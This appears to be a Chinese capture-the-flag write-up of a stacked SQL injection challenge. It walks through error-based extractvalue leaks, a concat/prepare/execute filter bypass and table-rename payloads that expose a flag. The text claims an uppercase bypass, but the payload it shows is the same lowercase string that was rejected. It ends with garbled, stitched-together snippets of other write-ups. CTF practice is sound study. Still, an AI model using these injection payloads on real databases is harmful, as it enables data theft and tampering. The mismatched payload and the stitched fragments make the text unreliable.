var_dump乙個陣列,就是sqli沒跑了。
1' 報錯
1' and 1 報錯
1' and 1# 正常回顯
1' and 0# 不回顯
顯然,查詢語句的關鍵字通過單引號閉合,那麼它的形式應該類似與:
select * from table where id = '$id';
接著,檢視下字段數。
1' order by 1# 正常回顯
1' order by 2# 正常回顯
1' order by 3# 報錯
所以,可以知道欄位數為2。
-1' union select 1111,2222#
報錯:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
發現過濾了select,嘗試大小寫,雙寫,加注釋都無法繞過。
-1' and extractvalue(1,concat(0x7e,database()))#
=> error 1105 : xpath syntax error: '~supersqli'
-1' and extractvalue(1,concat(0x7e,user()))#
=> error 1105 : xpath syntax error: '~root@localhost'
-1' and extractvalue(1,concat(0x7e,version()))#
=> error 1105 : xpath syntax error: '~10.3.18-mariadb'
可以獲得資料庫的一些基本資訊,但是沒有select一樣查詢不了別的資訊。
1';show databases# 正常回顯
報錯:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1';show columns from ctftraining.`flag_table`#
一樣的報錯
沒有用到select呀,怎麼會出現這個報錯??有點懵。
出現database.table會自動轉化成select?
試試,直接查詢當前資料庫好了。
剛剛測試報錯注入的時候有報錯,預設database在supersqli,看下裡面有什麼。
1';show tables#
=>正常回顯 有兩張表 1919810931114514 和 words
1';show columns from `1919810931114514`#
=>nice!正常回顯
噗 原來flag在這嗎
不過,不能用select怎麼檢視呢?
看了大佬的wp,有兩種辦法
concat()出乙個'select',然後預編譯這條查詢語句,再執行它。
set @sql = concat('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
合在一起就是我們的payload
payload:-1';set @sql = concat('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#
=>strstr($inject, "set") && strstr($inject, "prepare")
報錯,檢測到set 和 prepare關鍵字,大佬的wp裡說,strstr()不能區分大小寫,所以直接大寫繞過。
payload:-1';set @sql = concat('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#
得到flag。
前面在測試堆疊注入的時候,我們就知道flag存在supersqli的1919810931114514表,但同個資料庫下還有另外一張表words。檢視它的字段的話,就會發現這就是我們回顯資料所在的表,它們的結構都是乙個id,乙個字串。
既然不能構造語句select查詢,那就只能利用它原有的查詢語句了。
通過堆疊注入,對調兩個表的資訊,這樣就能把我們想要的資訊正常地顯示出來了。
alter table `words` rename to `bak`;
alter table `1919810931114514` rename to `words`;
alter table `words` change `flag` `id` varchar(100);
合成payload
1';alter table `words` rename to `bak`;alter table `1919810931114514` rename to `words`;alter table `words` change `flag` `id` varchar(100);#
注入成功後,檢視flag
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...
強網杯 2019 隨便注
題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...